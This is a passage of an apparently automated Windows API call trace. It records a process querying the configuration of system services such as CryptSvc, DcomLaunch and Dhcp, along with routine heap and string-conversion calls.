lpUsedDefaultChar=0x0) returned 30 [0027.238] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509be8 [0027.238] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509ba0) returned 1 [0027.238] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509be8) returned 1 [0027.238] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b688) returned 1 [0027.238] OpenServiceW (hSCManager=0x6637d8, lpServiceName="clr_optimization_v4.0.30319_64", dwDesiredAccess=0x1) returned 0x6639b8 [0027.238] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.238] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.920] GetLastError () returned 0x7a [0027.920] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x156, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b688 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b710 [0027.922] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b688) returned 1 [0027.922] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b710) returned 1 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b710 [0027.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509be8 [0027.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x509be8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509ba0 [0027.922] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509be8) returned 1 [0027.922] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509ba0) returned 1 [0027.922] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b710) returned 1 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509ba0 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b710 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b688 [0027.922] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b798 [0027.923] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b820 [0027.923] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b8a8 [0027.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.923] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509be8 [0027.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x509be8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0027.923] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c30 [0027.923] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509be8) returned 1 [0027.923] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c30) returned 1 [0027.923] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b8a8) returned 1 [0027.923] OpenServiceW (hSCManager=0x6637d8, lpServiceName="COMSysApp", dwDesiredAccess=0x1) returned 0x6638a0 [0027.923] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.924] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.924] GetLastError () returned 0x7a [0027.924] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x182, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.924] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x54c1b8 [0027.924] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b710) returned 1 [0027.924] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b710 [0027.924] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b8a8 [0027.924] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b710) returned 1 [0027.924] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b8a8) returned 1 [0027.924] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b8a8 [0027.924] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b710 [0027.924] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b8a8) returned 1 [0027.924] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b710) returned 1 [0027.924] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b710 [0027.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.924] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c30 [0027.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x509c30, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509be8 [0027.925] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c30) returned 1 [0027.925] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509be8) returned 1 [0027.925] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b710) returned 1 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509be8 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b710 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b8a8 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b930 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b9b8 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54ba40 [0027.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c30 [0027.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x509c30, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0027.925] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c78 [0027.925] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c30) returned 1 [0027.925] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c78) returned 1 [0027.925] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ba40) returned 1 [0027.925] OpenServiceW (hSCManager=0x6637d8, lpServiceName="CryptSvc", dwDesiredAccess=0x1) returned 0x663968 [0027.925] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.925] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.926] GetLastError () returned 0x7a [0027.926] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x13e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54ba40 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bac8 [0027.926] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ba40) returned 1 [0027.926] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bac8) returned 1 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bac8 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54ba40 [0027.926] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bac8) returned 1 [0027.926] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ba40) returned 1 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54ba40 [0027.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c78 [0027.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509c78, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c30 [0027.926] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c78) returned 1 [0027.926] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c30) returned 1 [0027.926] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54ba40) returned 1 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c30 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54ba40 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bac8 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bb50 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bbd8 [0027.926] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bc60 [0027.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0027.927] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c78 [0027.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x509c78, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0027.927] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509cc0 [0027.927] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c78) returned 1 [0027.927] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509cc0) returned 1 [0027.927] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bc60) returned 1 [0027.927] OpenServiceW (hSCManager=0x6637d8, lpServiceName="CscService", dwDesiredAccess=0x1) returned 0x6638c8 [0027.927] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.927] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.927] GetLastError () returned 0x7a [0027.927] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x142, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bc60 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bce8 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bc60) returned 1 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bce8) returned 1 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bce8 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bc60 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bce8) returned 1 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bc60) returned 1 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bc60 [0027.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509cc0 [0027.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509cc0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c78 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509cc0) returned 1 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509c78) returned 1 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bc60) returned 1 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509c78 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bc60 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bce8 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bd70 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bdf8 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54be80 [0027.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509cc0 [0027.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x509cc0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0027.928] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d08 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509cc0) returned 1 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d08) returned 1 [0027.928] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54be80) returned 1 [0027.928] OpenServiceW (hSCManager=0x6637d8, lpServiceName="DcomLaunch", dwDesiredAccess=0x1) returned 0x6639b8 [0027.929] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.929] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.929] GetLastError () returned 0x7a [0027.929] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x13c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.929] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54be80 [0027.929] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bf08 [0027.929] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54be80) returned 1 [0027.929] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bf08) returned 1 [0027.929] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bf08 [0027.929] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54be80 [0027.929] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54bf08) returned 1 [0027.929] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54be80) returned 1 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54be80 [0027.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d08 [0027.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509d08, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509cc0 [0027.930] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d08) returned 1 [0027.930] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509cc0) returned 1 [0027.930] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54be80) returned 1 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509cc0 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54be80 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bf08 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54bf90 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c018 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c0a0 [0027.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d08 [0027.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x509d08, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0027.930] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d50 [0027.930] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d08) returned 1 [0027.930] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d50) returned 1 [0027.930] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c0a0) returned 1 [0027.930] OpenServiceW (hSCManager=0x6637d8, lpServiceName="defragsvc", dwDesiredAccess=0x1) returned 0x6638a0 [0027.930] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.930] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.931] GetLastError () returned 0x7a [0027.931] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x10a, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c0a0 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c128 [0027.931] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c0a0) returned 1 [0027.931] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c128) returned 1 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c128 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c0a0 [0027.931] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c128) returned 1 [0027.931] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c0a0) returned 1 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c0a0 [0027.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d50 [0027.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x509d50, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d08 [0027.931] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d50) returned 1 [0027.931] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d08) returned 1 [0027.931] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c0a0) returned 1 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d08 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c0a0 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c128 [0027.931] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502e00 [0027.932] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502e88 [0027.932] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502f10 [0027.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0027.932] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d50 [0027.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x509d50, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0027.932] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x509d98 [0027.932] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d50) returned 1 [0027.932] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509d98) returned 1 [0027.932] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502f10) returned 1 [0027.932] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Dhcp", dwDesiredAccess=0x1) returned 0x663968 [0027.932] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.932] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.932] GetLastError () returned 0x7a [0027.932] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x154, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x54c2c0 [0027.933] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c0a0) returned 1 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c0a0 [0027.933] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x502f10 [0027.933] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c0a0) returned 1 [0027.933] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502f10) returned 1 [0027.933] RtlAllocateHeap 